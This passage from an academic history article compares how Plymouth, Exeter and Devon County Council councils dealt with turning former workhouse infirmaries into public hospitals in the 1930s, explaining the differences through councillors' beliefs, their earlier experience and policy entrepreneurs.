In Exeter, by contrast, it was often claimed that within the Council there was no party politics, although candidates for election were identified by the local papers under party labels. The Council was dominated by small businessmen and county-town solicitors who depended for much of their business on the interests of private landlords, and at the end of the 1920s often favoured an 'anti-interventionist' stance. In contrast to the situation in Plymouth, there was no party 'drive' to the management of business, no party whip, and no Leader of the Council. Such a system resulted in considerable delay. The chair of the Housing Committee summed up the frustration: 'The Committee brings up a report. Then some individual jumps up and gets it sent back, and the matter is thrown into the melting pot again.'[29](#fn29){ref-type="fn"} Similar views were expressed by others, as was noted by 'Citizen', the principal columnist in the local newspaper, the *E&E*, who on one occasion wrote: "There must be finality somewhere. This passion for 'referring back' and reconsidering has become a positive disease.... What it really comes to is that no considerable public improvement is safe with us unless there is virtual unanimity in the Council, and that is impossible. It is high time our Council thought very seriously where it is drifting.[30](#fn30){ref-type="fn"}" The composition of Devon County Council in 1934, based on an analysis of occupations where they can be traced in Kelly's Directory for 1935, shows that at least forty-six per cent of the Council were farmers, landowners, or land agents. No other occupation even musters ten per cent, although there are several retired service personnel (in addition to those who were also landowners), solicitors, and ministers of religion. Farming interests were therefore by far the strongest influence on county decision making. Many were also making a second contribution to local government. They either had been or still were members of district councils. Councillors were designated at election times as Conservative (mostly) or Liberal, but councillors standing for re-election were rarely challenged by other parties and the Council's experienced chair, Sir Henry Lopes, took care that the key positions of committee chairs went to representatives from both parties.
The Decisions that the Councils Took {#s005}
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Plymouth was among the initial group of twenty-seven county boroughs whose plans under the LGA to appropriate and develop a former workhouse infirmary as a general hospital were given Ministerial approval with effect from the earliest possible date, 1 April 1930. The former Plymouth workhouse became the City Hospital; three new medical posts were created; additional nursing staff appointed; and an extensive programme of improvements to the buildings was begun.
Neither in Exeter nor in Devon was the story so swift to start or to conclude. It was not until 1933 that Dr J.S. Steele-Perkins, chair of Exeter's Public Health Committee \[hereafter PHC\], raised the topic of appropriation. He presented to the Council the PHC's report on the letter sent by the Ministry of Health following the Ministry's inspection in October 1930, which contained critical comments on hospital care for general acute and maternity cases. The Minister had asked the city to review the future of its transferred Poor Law infirmary in conjunction with the local voluntary hospital, and reminded the Council that Ministry approval for the admission of maternity cases to the Poor Law institution had been temporary only. Appropriation of suitable accommodation on the site of the institution should now 'receive consideration'.[31](#fn31){ref-type="fn"}
Steele-Perkins, himself a doctor, clearly grasped the potential for healthcare that this situation afforded: "\[T\]he co-ordination of all the medical services in the city, and the creation of a city hospital that was up-to-date with visiting surgeons and physicians.... If any development took place at the City Hospital \[the polite name for the workhouse adopted by the council\]... we should get to the point where there would be no waiting list. If we could get anywhere near that ideal it would be a tremendous boon to people in the city and who came to the hospital for treatment.[32](#fn32){ref-type="fn"}" However, Steele-Perkins knew his Council. Even this positive statement included the caveat that '\[n\]aturally that could not be completed for some time, and the expense would be very heavy'. He could not have been surprised that the Council used its classic tactic of disapproval, and 'referred back' the report for reconsideration. The response that was finally despatched firmly stated that 'the time was not opportune for the appropriation of the City Hospital'.[33](#fn33){ref-type="fn"}
Debate on the appropriation of the infirmary, as far as the full Council was concerned, lay dormant thereafter for more than five years. During that time the Ministry exercised pressure on the PHC and its officers to prepare plans for the development of a new hospital. These were included in a five-year list of capital schemes approved in principle by the Council at the end of 1938.[34](#fn34){ref-type="fn"} At the end of March 1939, however, W.W. Beer, then chair of the PHC, presented the detailed proposals to the Council for approval. An amendment was immediately proposed by the chair of the Finance Committee, to the effect that before the proposals were considered, the local voluntary hospital should again be asked whether they would agree to provide obstetric services, thus remedying what all agreed was the major deficiency in provision. 'On a vote being taken', the newspaper reported, 'the amendment was carried by an overwhelming majority, Mr Beer's hand being the only one raised in opposition.'[35](#fn35){ref-type="fn"} Other events then overtook the Council's deliberations, and at the outbreak of war no firm plans for development were in place.
Meanwhile, throughout the period, the County Council had been undertaking incremental change to its workhouse provision. This had proved difficult. They had experienced opposition to plans for change even from members of their own local Guardians' Committees, composed partly of county councillors but partly of local people with an interest in welfare, such as district councillors or former Guardians. Opposition was sometimes because the proposed new use of the institution was unacceptable to the neighbourhood. In Totnes in 1932, the county's proposals for the redevelopment of the institution for use for tuberculous patients were opposed by '\[p\]ractically the whole of the public bodies in the borough, as well as other interests'. The Ministry of Health, following a public inquiry, ruled against the county's plans. Elsewhere, Guardians strongly opposed any disruption to the residents of their institution. In a discussion over change at Plympton, 'shifting the aged poor' was 'viewed with disfavour' as causing 'hardships', by 'inmates being taken away from their relations'.[36](#fn36){ref-type="fn"}
After eight years, therefore, Devon County Council had only managed to implement a few changes to the sixteen institutions that they had inherited. Three, Kingsbridge, Holsworthy and Torrington, had been closed altogether; two others, Axminster and Crediton, had become homes for people with learning disabilities; and South Molton was about to undergo the same change. Services for the sick were still diffused throughout the remaining eleven institutions. Agreement in principle had been reached that hospital services should be centralised at the three largest institutions in the county: Bideford, St Thomas (Exeter) and Newton Abbot. Holsworthy and Torrington had lost their services for the sick to Bideford, but the infirmary still remained under Public Assistance Committee \[hereafter PAC\] management. Newton Abbot was first on the list for appropriation, but the PAC had firmly advised that 'there should be gradual change' rather than immediate appropriation.[37](#fn37){ref-type="fn"} The position, given that the Council had committed itself to appropriating its medical services under public health legislation by 1934, was described by the Ministry in 1938 as 'even more disappointing'.[38](#fn38){ref-type="fn"}
Core Beliefs, Lessons from Experience, and Agents of Change {#s006}
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Differences in Core Beliefs {#s006a}
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One of the most significant features of the public policy framework adopted for the study is the emphasis on identifying shared core beliefs which act as a 'glue' to hold together a coalition of participants in a policy system. As shown in [Table 2](#tab2){ref-type="table"} below, underlying and guiding 'policy core beliefs', the foundations for policy decisions, lie 'deep core beliefs', 'fundamental normative or ontological axioms'.Table 2The Advocacy Coalition Framework Structure of Belief Systems of Policy Elites[^2]
Three particular aspects of beliefs at this most visceral level were analysed for the study: beliefs about the nature of the interests councillors should serve; beliefs about the degree of social responsibility that rested upon the Council; and beliefs about the importance of promoting change and progress. These themes had emerged as the areas of greatest contrast from the textual analysis of councillor discourse. The master-texts for analysis were generated from statements on corporate responsibility or social welfare issues reported in the *WEH* and *E&E.* For Plymouth councillors this covered the period 1928 to 1936; and for Exeter and Devon, where appropriation continued to remain a topic for discussion throughout the 1930s, from 1929 to 1939.
Initial analysis of deep core beliefs for the two county boroughs of Plymouth and Exeter demonstrated a contrast that contributed to the smoothness of the Plymouth decision to appropriate an infirmary as a public hospital, and the Exeter avoidance of such a decision. Plymouth councillors from all parties used, as a point of reference in their decision-making on welfare issues, a more inclusive view of those whose interests they should serve, accountability to the whole of their citizenry rather than to ratepayers alone. They also took a broader view of the social responsibility of local government, leading to greater emphasis on direct municipal provision. Finally they displayed a commitment to 'progress', by which they meant the creation of continuous improvement rather than the mere maintenance of the status quo.
The original responsibility of local government had been to take decisions in the interest of those who paid the rates that the Council used to provide services. In 1929, the ratepayers were still the formal constituency of local councillors, as the universal franchise over the age of twenty-one operated only in Parliamentary elections. 'Ratepayers' appear as the group to which most reference was made by councillors when considering the interests that drove their decisions. In Plymouth, however, there are many references to accountability to 'citizens' or 'the public' by councillors not just from the Labour Party but from all parties, demonstrating a shift towards a recognition of the interests of the whole population of the city in municipal services. This would have created a greater likelihood that public hospital services, creating better access for the population to medical treatment, would be seen as desirable. This was not the case in Exeter where councillors saw themselves as accountable to ratepayers alone, describing expenditure as the use of the 'ratepayers' money'. The term 'citizens' was used as a polite description for the poor, equated to 'people who could not afford to pay', or used in the phrase 'many poorer fellow citizens'.[39](#fn39){ref-type="fn"} In taking policy decisions, therefore, Exeter City Council would have been more inclined to act directly in the interests of that section of the population eligible to vote. Their policies for the wider community were more dependent on their beliefs about social responsibility.
The second set of deep core beliefs likely to influence councillor decisions on the development of personal health services was the beliefs about the parameters of their responsibility for the welfare of their population. The twin traditions of meeting the needs of the poor by charitable gifts or by minimal expenditure from a separate rate were now challenged by the requirement for councillors to administer the Poor Law alongside other responsibilities such as housing or education.
In the discourse between Plymouth councillors there are references to the duty councillors had to specific groups who were believed to require support, such as the elderly or mothers and children, and also to broader groupings such as 'those living in the poorer quarters of the city' and, referring specifically to hospital services, 'a very large proportion of our population', 'many a home', 'the bulk of the people', 'dozens of homes', 'the sick and needy amongst the workers and their dependents' and 'the defenceless'. Some councillors did still contrast the 'deserving poor' with 'spongers'.[40](#fn40){ref-type="fn"} More generally, though, there was an acknowledgment that those in particular need were so by chance rather than by contrivance.[41](#fn41){ref-type="fn"} It seems, therefore, that the council in Plymouth would have approached their new welfare responsibilities in the 1930s with a recognition of the diversity of groups whose needs should be given consideration, and an understanding that there were many for whom self-help could never be the answer.
Analysis of Exeter's councillors' beliefs about the exercise of social responsibility reveals a divided picture. There was a profound difference in the feelings about how the poor should be treated. Meeting the needs of the poor through the exercise of charity was still highly commended. Nevertheless the Mayor for 1937/8 told voluntary hospital governors, that '\[c\]harity as a method of providing means for such institutions was out of date' and a very senior councillor considered the volume of appeals for 'churches, hospitals and every conceivable thing' was 'unbearable'.[42](#fn42){ref-type="fn"}
Some felt that 'the poor had a right to a place in the sun' and that the work of slum clearance was 'the noblest work of any Council Committee'.[43](#fn43){ref-type="fn"} However, there were still those who wished to maintain a difference between the 'deserving' and 'undeserving' poor. Belief in the importance of promoting self-help underpinned this approach. The influential chair of the Finance Committee, a strong promoter of sickness insurance and founder of the Western Counties Aid Society, believed that: "\[T\]he social services, which were being asked for and given with a hand so lavish, apparently, that there was no money left for anything else. He was not satisfied that it was the duty of the Council to provide these services. Apparently it was going to be the duty of the country from the first conception of a child to the time in which it was launched on to the dole to provide for it in every conceivable way." He argued that '\[t\]he more they spoon-fed the population, the more they sapped the independence and self-reliance of the people on which this country in the past had justly prided itself.'[44](#fn44){ref-type="fn"} These opposing views fed into an uncertain period of local public welfare policy.
The third set of deep core beliefs that influenced the decision to develop a public hospital in Plymouth was the cross-party commitment, explicitly articulated, to the notion of progress, continuous improvement in service provision, in welfare as in other fields, as part of the responsibility of the Council towards the development of the city. The idea of 'progress' was not confined to the development of alternative economic futures. The tone was set by the Conservative Leader of the Council who said in 1929, for example, that 'the Conservative policy is not animated by a negative policy, but they were anxious to pursue the line of moderate progression in the advancement of the city', and echoed this theme throughout the period, saying in 1936, for example, that '\[w\]e have to keep pace with the march of time in the general development of the city'. Such statements were echoed by his lieutenants and by members of the opposition parties, in statements such as '... our public services cannot be surpassed. There is no standing still. We must move on or move off. A brighter Plymouth must be our constant goal.'[45](#fn45){ref-type="fn"}
Beliefs about progress were not so often featured by Exeter councillors as they were in Plymouth. Comments on the need for progress and the pace that should be set can only be traced to about seven per cent of the 119 councillors who held office between 1929 and 1938, whilst for Plymouth in the same period the proportion represents about twenty-three per cent. The Council was, nevertheless, a forum for remonstration about lack of progress. In 1929, one of the Labour councillors complained that '\[t\]he people of today are cussing because our grandfathers did not do what we have to do today' and a leading Liberal was later a frequent vocal critic of lack of progress, saying, for example, that the Council 'should not put back the clock a couple of generations', and that '\[w\]e have got to progress or go back'.[46](#fn46){ref-type="fn"} His zeal for change cost him his seat in 1937 and (after success in a by-election) he then lost it again to a representative of the newly re-formed Ratepayers' Association, in 1938.[47](#fn47){ref-type="fn"} This tendency to extreme caution probably influenced the low-key way in which, as shown on p. 62, the Exeter chair of the PHC approached the presentation of proposals for the development of a new municipal hospital service.
The position in the County Council in some ways resembled that in Exeter, particularly over social responsibility and the importance of progress. Attitudes that were, by the 1930s, edging into archaism, retained their hold. Social responsibility was expressed in the best traditions of patriarchal paternalism, the responsibility of 'gentlemen' with 'time to devote to welfare work' as one councillor put it. They were expected to have a detailed understanding of the needs of those they dealt with. 'Each one knows the position of the applicant', another councillor said approvingly of the old Guardians, and the speaker proposing the constitution of the new PAC explicitly stated that 'on this Committee... there should be gentlemen who were ex-servicemen, and who by the part they took in the British Legion and Old Comrades' Associations showed that they were interested in the fortunes of their former comrades.'[48](#fn48){ref-type="fn"}
Devon County Council and Exeter City Council also shared the lack of expression of beliefs about the need for progress on welfare services. The importance of being progressive is rarely identified in county discourse. When 'change' is discussed, references are often made to the need for change to be introduced steadily or even slowly. A cluster of quotations about pace comes from debates in the PHC on proposals brought forward by the Medical Officer of Health \[hereafter MoH\] during the first year of his appointment. 'You are going too fast', said one councillor of a proposal for appointing extra staff, and 'they must go steadily.... The man in the street was watching and saying "You are going too far".' Another 'viewed the proposals with alarm' and suggested that '\[t\]hey must go steadily'. The County Council chair 'agreed... that the best course was to set slowly' and subsequently advised the MoH that 'if he only went a little bit slower he might be better enabled in the long run to carry the Committee.... They found it rather difficult to do things in a big way all at once.'[49](#fn49){ref-type="fn"} Those doctors who were councillors on the PHC were felt by other Committee members to be a source of pressure for change. Councillors whose quotations urge swifter action in the field of health policy are all doctors, and mainly refer to actions to combat tuberculosis.[50](#fn50){ref-type="fn"}
The most noticeable difference between beliefs expressed in the boroughs and beliefs expressed in the county relates to the consideration of stakeholder interests. It is noticeable that accountability to ratepayers, or to taxpayers, is rarely mentioned by county councillors. The term 'citizens' does not appear and 'the public' or 'the people of Devon' are rare occurrences. What is used constantly is reference to the driving force of an understanding of particular localities as the best basis for correct decision making, and to the tension that existed between this and consideration of the county as a whole. This was evidently more than a mere policy belief: it was the fundamental ground for decision-making.
There were naturally some statements that represent no more than a local patriotism or a reluctance to commit additional expenditure, as argued by one councillor who considered that 'local bodies \[authorities\] who had already spent hundreds of pounds on isolation facilities should not be called upon to pay an equal share in putting up new buildings \[to serve other areas\]'. The same councillor, however, also opposed the proposal to replace a Torquay tuberculosis hospital by new facilities at the main sanatorium site at Hawkmoor because 'Hawkmoor was not in South Devon'.[51](#fn51){ref-type="fn"} An alderman grounded his advocacy of local administration in the expertise on which it could draw. Discussing the coming changes to the Poor Law, he said: 'What I fear is lest the poor will not have such careful and close attention paid to their cases, which is possible now that every parish sends its representative. Now each one knows the position of the applicant... they would lose much of that valuable knowledge'. The Okehampton councillor quoted above also expressed concern that local people would be discouraged from joining the Guardians' Committees: 'There was the danger that difficulties covering long distances would lead to a loss of interest in the work' and another North Devon councillor agreed that 'there was a great danger of local interest being lost'. The county vice-chair, introducing the administrative scheme in 1929, made a point of stressing that the members of the PAC 'had been carefully selected to represent the various Union areas', and proposing its later revision, a relative newcomer to council work said 'he was convinced it was quite possible \[to\] retain the local touch in giving relief, which he thought was absolutely essential'.[52](#fn52){ref-type="fn"}
More specifically, the very idea of disruption to the people resident in their local workhouses caused concern. One councillor on the Plympton Guardians' Committee, discussing a letter received from a parish council expressing concern about change, said: 'I do not want my name to go down as a murderer. If some of the cases are moved from Plympton it will kill them.' When after much discussion some people were transferred from Torrington to Bideford (only eight miles away) one of the Guardians expressed his regret at the decision in which the county PAC had overruled them: '\[the\] inmates, especially some old, crippled and helpless ones... must have felt the wrench of being taken... from their "home" and few friends to new and unfamiliar surroundings. Surely this could have been avoided.'[53](#fn53){ref-type="fn"}
These beliefs had often been shaped during the long period that many councillors had spent on local councils. In addition to their work on district-tier authorities, councillors were regularly exposed to local views as members of the area-based Guardians' Committees. In these settings, becoming too closely identified with unpopular county-wide policies could jeopardise their position. Councillor Dr Campbell, appearing for the county as an expert witness at the Ministry of Health public inquiry in Totnes, was menaced by the opposing counsel, who asked: 'Do you think you would remain a County Councillor for Dartmouth if you took up that attitude \[in Dartmouth\]?'[54](#fn54){ref-type="fn"}
This tension between duty to the local area and duty to the county was constant. In the 1931 debate over the amalgamation of two Poor Law administrations, intended to effect economies, one councillor alone amongst the speakers maintained that 'the care of the poor at Axminster meant just as much to them as did care of the poor in Honiton'. Others were steadfast in their opposition, some still arguing against centralising initiatives in 1937 on the grounds that '\[p\]eople would not attend the meetings at considerable inconvenience if they were told what to do' and 'a central committee could not have inside knowledge'. When a newcomer argued that there was unlikely to be any 'great hardship in enlarging areas in these days of improved travel' and complained that 'when they took steps to economise they found local interest got up', an alderman responded that '\[t\]hey would lose a very great deal by centralization... they would lose the local touch.'[55](#fn55){ref-type="fn"}
Such beliefs were, of course, difficult to reconcile with the concept of 'equitable treatment' for the whole county population. The County Council chair had reminded the Council that the intention of the LGA was to transfer Poor Law functions where possible away from the PAC 'so that all received the same services'. The chair of the PAC referred to the duty to administer the Act 'for the best average good of all concerned' and another councillor, justifying the provision of PAC directions to the Guardians, stated that 'it was very unfair for one Guardians' Committee to be giving relief on a certain scale and another committee next door to give relief on perhaps a more liberal or rather poorer scale.'[56](#fn56){ref-type="fn"}
The dominant beliefs in the importance of responding to local interests as identified in the localities themselves undoubtedly made it difficult for councillors or officers such as the MoH to promote centralisation of treatment for the sick poor, as in a large county this would involve making services more remote. Informing decisions about appropriation and development of county hospital services, therefore, were strong beliefs in the importance of locally sensitive services, an old-fashioned idea of paternalistic welfare responsibilities being sharpened by an understanding of people's vulnerability to changes in society, and a recognition of the county's responsibility to administer public policy on welfare services to provide 'fair shares'. These beliefs contrast with the cross-party agreement in Plymouth to broaden the base of the services the city provided, and to change service provision in line with a positive idea of service improvement.
The Lessons of Experience: Commissioner or Provider? {#s007}
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The beliefs described above lie at the heart of the approach to decision-making which councillors, almost unconsciously, adopted. The second set of influences that the study identified as significant was the effect that earlier council decisions, particularly those taken to tackle tuberculosis and infectious diseases, had had on the decisions the councils made over the Poor Law infirmaries. The public policy framework used in the study argues that prompts for changes to policy are absorbed by actors through learning processes. This may occur through presentation and debate about technical information generated within research communities, or through 'ordinary knowledge and case studies' and 'trial-and-error learning'.[57](#fn57){ref-type="fn"} Technical information on the policy option of appropriating and developing public hospitals was less available to councillors than would be the case in any modern policy-making context. The modern plethora of professional forums and policy papers was still emerging during the 1930s. There is no doubt that there was information in medical circles that could have been used to persuade councils of the need to develop their general hospital services. Medical consensus and medical advice were unequivocally in favour of increasing capacity and facilities. As Daniel Fox summarised the position: 'By the 1920s... health policy was usually made on the assumption that increasing the supply of medical services and helping people to pay for them was the best way to reduce morbidity and mortality and to help individuals lead more satisfying lives....'[58](#fn58){ref-type="fn"}
Very few references were identified in the case study communities, however, to the use of information and arguments grounded in the advice of epistemic communities in the medical profession. References by councillors to extending access are rare, and mostly confined to statements about waiting lists at the voluntary hospitals, although the Exeter PHC chair's vision of such a hospital, quoted above, is an exception to this. The use of public hospitals for emergency treatment is only referred to once, by Plymouth's PHC chair. Highlighting the use of the hospital during a cold winter, he stated that '\[t\]he value of the hospital had never been more strongly demonstrated than during the recent bitter east winds. Scores and scores of cases had been brought in who otherwise would not have been able to get beds.'[59](#fn59){ref-type="fn"} In discussion on hospital care, councillors display less well-developed arguments and fewer references to comparative information than they do, for example, in debates on housing. Exeter city councillors debating housing called on examples from Birmingham, Liverpool and even America.[60](#fn60){ref-type="fn"}
It might have been expected that the MoHs would have contributed to the councillors' understanding of the value of public hospital services. No record of their oral testimony on this topic has survived and the written evidence is limited. The need for acute general hospital services does not feature in the annual reports of the MoHs for Devon or for Exeter. Dr L.M. Davies, the Devon MoH, produced several reports on workhouse reorganisation. His treatment of the topic does not discuss need and medical opportunity, but treats the topic as an administrative puzzle to be resolved. The Exeter MoH, Dr G.B. Page, provided for the PHC a list of those authorities with small populations (between 60,000 and 120,000) that had appropriated hospitals. He also presented proposals for the development of a new hospital for Exeter to the Council in December 1938, but the need for the hospital is assumed rather than argued.[61](#fn61){ref-type="fn"} Only Dr A.T. Nankivell, the MoH for Plymouth at the time of appropriation, clearly advocated municipal hospital provision in his annual report stating -- in a somewhat unspecific manner -- that there was a need for 'expansion necessitated by increasing knowledge and modern needs and that early treatment... is not easily obtained.' This, of course, was published after Plymouth's appropriation; Nankivell had, however, made the same point earlier in a report to the PHC in which he had referred to the local problems of waiting lists, rising demand for casualty services, and lack of provision for cancer treatment.[62](#fn62){ref-type="fn"}
'Trial-and-error learning' is also referred to in the ACF as a type of policy learning; and the present study gives prominence to this type of learning. The significance of earlier decisions, as Pierson has described, is that 'they set an institution on course down a pathway from which it becomes increasingly difficult to turn away, as resources have already been committed, learning and innovation already achieved ready for exploitation, and the product itself expanding or being increasingly used'.[63](#fn63){ref-type="fn"} Unsurprisingly, therefore, a major influence on the councils' decisions on establishing general hospitals was their earlier experience of what would, in a modern National Health Service context, be classified as 'provider' or 'commissioner' roles. Opportunities for authorities to develop their own hospital services had increased during the 1920s. County boroughs had been expected to provide infectious disease services since the Public Health Act of 1875, but further legislation, particularly over the treatment of tuberculosis, subsequently established other opportunities for local government initiatives. The success or otherwise of the initiatives the councils took shaped their intentions for the future.
Plymouth, the council that chose to appropriate and develop its Poor Law infirmary provision, had embarked, six years before the LGA, on a series of major changes that increased its role as a direct provider of hospital services. A significant event was the decision in 1923 to purchase and run their-own sanatorium. The Council then embarked on a major reorganisation that increased the range of municipal services for infectious disease, tuberculosis, and orthopaedics. By 1930, the Council had confidence in its ability to operate hospital services successfully
Provider experience within the council in Exeter was limited to services set up before the First World War and not substantially altered since that date, and to the commissioning of services provided by other parties. The unusual development by the Exeter Board of Guardians of nursing home services for paying patients at the end of the 1920s did not tempt the City Council, which inherited them in 1930, into developing this aspect of a provider function. Feedback on the Council's provider role was often negative. The Council's smallpox hospital provision was condemned by the Council itself, and closed in 1930 with the decision to commission services from the county instead. The Ministry of Health condemned Exeter's adult tuberculosis services in 1931, and the Council then determined to close the municipal sanatorium and commission services from the Royal National Hospital. For children's orthopaedic services, the Council commissioned services on a cost-per-case basis from the Devonian Orthopaedic Association. By the 1930s, then, the Council had turned to having a commissioner rather than a provider role, and was more likely to seek support for acute and obstetric services from the Royal Devon and Exeter Hospital than to develop in-house provision.
For Devon County Council, experience had been gained both as a provider and as a commissioner. One of the earliest of their attempts at functional reorganisation of the workhouses was related to the treatment of paupers with tuberculosis. Their initial experience, the failure to achieve support from the Ministry of Health for their proposal to designate the function of the workhouse at Totnes as a specialist centre at the public inquiry reinforced their belief in taking action only where local support was forthcoming.[64](#fn64){ref-type="fn"} This can be contrasted with Plymouth's learning from a public inquiry held on the same topic, the creation of a tuberculosis centre in a populated area. In that case the Ministry supported the Council.[65](#fn65){ref-type="fn"} For Devon, the management of a dispersed stock of small workhouses with mixed provision was also a challenge. There was constant tension between the local managers and central attempts at economy. The county also had access to a number of small local voluntary 'cottage' hospitals where, when necessary, they could, and did, send patients. Councillors would be unlikely to provoke local opposition unless there were compelling reasons so to do.
The success of council experience either in direct provision or in commissioning services from voluntary sector providers appears to have contributed to a *propensity* to appropriate to complement the *capacity* to appropriate created by the inheritance of buildings. So Plymouth turned willingly to a provider role in the field of general hospital care, while Exeter and Devon preferred the relationship of commissioner for voluntary sector hospitals.
Agents for Change {#s008}
-----------------
The availability of entrepreneurs interested in hospital development is an area of considerable difference between the councils. There was a notable entrepreneur amongst the councillors on Devon County Council, Sir Francis Acland, who said of himself in such a role: 'I am a fairly good man to go tiger-hunting with',[66](#fn66){ref-type="fn"} but he had been deployed by the chair to lead other difficult tasks in which Devon indeed performed relatively well: the development of county secondary schools and the improvement of rural housing. Neither the several chairs of the PAC and the PHC, nor the county MoHs during the inter-war years demonstrate the entrepreneurial skills described on page 51 that would have led to successful policy change: advocacy; seizing opportunities; and managing relationships.
In the county boroughs, by contrast, two individuals with considerable entrepreneurial skills held office as chairs of their PHCs, the 'workshops of the Council'[67](#fn67){ref-type="fn"} during the period when appropriation was under consideration. In Plymouth this was H.B. Medland, a dockyard engineer who chaired the PHC for Plymouth between 1926 and 1932. In spite of being a member of the minority Labour Party, he managed to put in place both the major hospital reorganisation scheme and the policy of appropriating and developing the former workhouse infirmary. In Exeter, the chair of the PHC was held between 1923 and 1938 by J.S. Steele-Perkins, a medical practitioner. Although undoubtedly a skilled entrepreneur, he devoted his efforts during this period primarily to the major task of slum clearance rather than to hospital development. Both chairs were adept at advocacy, seizing opportunities and managing relations in order to achieve their goals. They also both acknowledged the need to improve access to hospital service provision, integrated across the sectors. However, their approaches to co-ordination with the voluntary sector differ, with Steele-Perkins more inclined to give primacy to the voluntary sector, saying that 'they found a more tolerant spirit in the treatment of patients when working on a voluntary system' and Medland concerned 'to make it clear to the voluntary hospitals that there must be give and take', and that the municipal sector should not be limited to the care of the chronic sick.[68](#fn68){ref-type="fn"}
The investment of time and effort made by policy entrepreneurs is intended to assist them in achieving their policy aims. For Steele-Perkins, the idea of hospital development was attractive, but both (a) unlikely to be approved within the council environment of the 1930s and (b) a potential distraction from the slum clearance work to which he was already committing his time and in which he was notably successful, particularly over the clearance of Exeter's West Quarter. The MoH who worked with him during the 1930s showed his forensic skills under pressure at public inquiries on slum clearance, but his tactless handling of councillors on the hospital development proposal in 1939 undoubtedly helped consign the proposal to limbo.[69](#fn69){ref-type="fn"} For Medland, public hospital development was one way of putting into practice his socialist beliefs about universal welfare services: because of his chairmanship of the PHC he was in a position to press forward with this policy. If he had not been PHC chair he would have committed the same energy to other schemes, as his subsequent track record shows. He was aided and abetted by a vigorous MoH, the PHC led by the two of them being described by the local paper as 'a motor car with two accelerators but no brake',[70](#fn70){ref-type="fn"} but the skill in managing relationships was Medland's. The work of the entrepreneurs in their chosen fields led to successful hospital appropriation in Plymouth and successful slum clearance in Exeter.
Explaining Variations in Public Hospital Provision in Devon {#s009}
===========================================================
The meta-analysis in [Table 3](#tab3){ref-type="table"} demonstrates the differences between the councils in terms of the key variables and the predisposition this created for the decisions the authorities took.Table 3Comparison of the findings from the Plymouth, Exeter and Devon case studies[^3]
The findings shown in [Table 3](#tab3){ref-type="table"} can be compared with the reports on progress made by the inspector of the Ministry of Health, who surveyed all three of the local authorities in the study in 1930 and repeated the surveys for Devon and Exeter, where progress had been deemed unsatisfactory, in 1934. The surveys included the assessment of the question 'to what extent there has been fulfilled a primary purpose of the Local Government Act, *viz* the separation of the treatment of the sick from the Poor Law administration.'[71](#fn71){ref-type="fn"} The assessment for Plymouth specifically demonstrates two of the variables highlighted in the present case study: the Council's belief in the importance of progress and the role of a committed entrepreneur.[72](#fn72){ref-type="fn"} The inspector who surveyed all three of the case study authorities highlighted, in Exeter, the importance of tradition rather than change and the dominant place accorded to the local voluntary hospital in Council thinking about hospital services.[73](#fn73){ref-type="fn"} For Devon the importance of localism, the persistence of a patriarchal approach to welfare and the influence of the Ministry's adverse decision on County Council policy at the Totnes Inquiry are all identified.[74](#fn74){ref-type="fn"} Whilst inspectors' reports have been used to develop the picture of local health services in the 1930s, for example by Levene and in the Municipal Medicine project,[75](#fn75){ref-type="fn"} there has not hitherto been an attempt to compare the evidence for a particular local authority with evidence from other sources. This study confirms that a systematic analysis of comments made in the reports to the Ministry of Health on councillor attitudes, the lessons of the past, and the availability of skilled entrepreneurs might offer a short-cut approach to a better understanding of the variations across the country.
Quantitative work on county borough policy concluded that, if the opportunity to appropriate existed (availability of a separate infirmary) then it was the size of population served that determined appropriation. This conclusion cannot be adopted for shire counties, where the population is dispersed rather than concentrated. Nor does it offer a full explanation for what happened in Exeter, where the 'capacity' to appropriate -- accommodation and financial resources -- existed, but the 'propensity' was absent. The public policy analysis undertaken for the Devon authorities in this study has suggested a new hypothesis to explain variations in public hospital provision in the 1930s. This is that a local authority would be most likely to proceed with appropriation if councillors exhibited a substantial corpus of deep core beliefs on accountability to the wider community and on social responsibility; where they had a successful experience of direct hospital provision in other fields; and when they had available a committed entrepreneur able to command support for change.
Conclusion {#s010}
==========
Efforts through quantitative analyses to provide a robust hypothesis to account for the considerable variations in public hospital provision by local authorities have not proved entirely successful, as can often be the case for complex multi-factorial problems. The elegant simplicity of the link between size of population and appropriation cannot be transferred to county councils, and exceptions existed even among county boroughs. Barnsley, Carlisle and Chester, though small, appropriated their infirmaries; Hull, Norwich and Stoke-on-Trent did not.
Although many factors likely to have influenced decisions taken by local authorities, not merely for hospital services but also for other personal health services, have been identified, these have not hitherto been linked into a coherent explanatory framework. The present research proposes that variations between local authorities can best be understood by comparing the prevalence of particular deep core beliefs amongst councillors, their 'moral compass' for decision making; understanding what they had learned from previous experience in related fields of public health commissioning or provision; and identifying the availability or otherwise of a committed policy entrepreneur.
In Holtby's fictional *South Riding*,[76](#fn76){ref-type="fn"} the background against which her councillors and aldermen play out their drama of public service endeavour and personal temptation and tragedy is one where lack of access to effective obstetric or cancer treatment leads to death, where infectious disease kills, and tuberculosis cripples for life, and where an impoverished shack-dwelling settlement community is badgered into raising funds to pay for a district nursing service. It is a useful reminder of the harshness of rural life in the 1930s. Winifred Holtby, whose mother was an East Riding County Council alderman, has well illustrated how local government decisions spring from the same combination of interests, social responsibility, and determined action by individuals that this study has found.
I should like to acknowledge the comments made by Dr Claire Dunlop, Professors John Stewart and Andrew Thorpe on earlier versions of the material contained in this article, and by the two anonymous referees who provided comments to *Medical History.*
The term 'public hospitals' has been preferred in this article to 'municipal hospitals', more commonly used in earlier work, as 'municipal' is properly used only of urban governments; this article extends the debate into rural areas.
Ministry of Health Survey report correspondence, Devon, National Archives \[hereafter NA\], MH66/69, 4 March 1938.
John Mohan, *Planning, Markets and Hospitals*, (London: Routledge, 2002), 38.
Charles Webster, 'Healthy or Hungry Thirties?', *History Workshop Journal* 13, 1 (1982), 110--29; Roger Lee, 'Uneven Zenith: Towards a Geography of the High Period of Municipal Medicine in England and Wales', *Journal of Historical Geography*, 14, 3 (1988), 260--80.
Martin Powell, 'The Geography of English Hospital Provision in the 1930s: The Historical Geography of Heterodoxy', *Journal of Historical Geography* 18, 3 (1992) 307--16: 311.
Martin Powell, 'Hospital Provision Before the NHS: Territorial Justice or Inverse Care Law?', *Journal of Social Policy*, 25 (1992), 163.
Alysa Levene, Martin Powell and John Stewart, 'The Development of Municipal General Hospitals in English County Boroughs in the 1930s', *Medical History* 50 (2006), 3--28.
Alysa Levene, Martin Powell and John Stewart, 'Investment Choices?: County Borough Health Expenditure in England and Wales', *Urban History* 32, 3 (2005), 434--58.
